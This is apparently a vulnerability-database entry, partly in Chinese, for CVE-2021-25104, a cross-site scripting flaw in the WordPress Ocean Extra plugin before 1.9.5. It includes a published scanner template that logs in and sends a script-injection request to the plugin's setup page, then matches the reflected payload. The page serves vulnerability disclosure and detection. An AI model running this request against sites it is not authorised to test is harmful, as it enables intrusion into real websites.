CVE-2021-25104: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Ocean Extra | POC: 已公开

漏洞描述

WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.

PoC代码[已公开]

id: CVE-2021-25104

info:
  name: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.9.5.
  reference:
    - https://wpscan.com/vulnerability/2ee6f1d8-3803-42f6-9193-3dd8f416b558
    - https://wordpress.org/plugins/ocean-extra/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25104
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25104
    cwe-id: CWE-79
    epss-score: 0.03381
    epss-percentile: 0.86926
    cpe: cpe:2.3:a:oceanwp:ocean_extra:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oceanwp
    product: ocean_extra
    framework: wordpress
  tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated,wpscan,wp,ocean-extra,oceanwp

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/?step=demo&page=owp_setup&a"><script>alert(/XSS/)</script>   HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'OceanWP'
          - '><script>alert(/XSS/)</script>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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